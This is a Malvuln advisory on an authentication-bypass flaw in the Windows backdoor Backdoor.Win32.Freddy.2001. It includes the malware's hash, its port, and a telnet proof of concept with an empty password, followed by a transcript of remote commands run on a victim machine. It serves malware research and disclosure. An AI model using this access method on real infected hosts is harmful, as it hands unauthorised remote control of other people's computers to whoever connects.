Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Freddy.2001 Vulnerability: Authentication Bypass Command Execution Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET. Type: PE32 MD5: 434923afc32a7bc7355ed9a5224b9273 Vuln ID: MVID-2022-0486 Dropped files: sycon2.exe Disclosure: 02/08/2022 Exploit/PoC: #Note: use TELNET telnet.exe x.x.x.x 19535 Enter password: User: Victim Computer net name: DESKTOP-2C3JQHO IP address: 192.168.18.129 Local date & time: 2/3/2022 2:45:46 AM Hackers connected: 2 $y(0n v.2.3.2 by Meerkat Systems | NLG Sycon> Sycon> windows Window 6976: dump Window 6976: tmp Window 1956: Administrator: Administrator Command Prompt Window 6976: Program Manager Sycon> cd \ CD: C:\ Sycon> dir Found: $Recycle.Bin Found: Boot Found: bootmgr Found: BOOTNXT etc... Sycon> exec calc Executing... Sycon> logoff Windows is going down... I'm killed! Sycon> Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).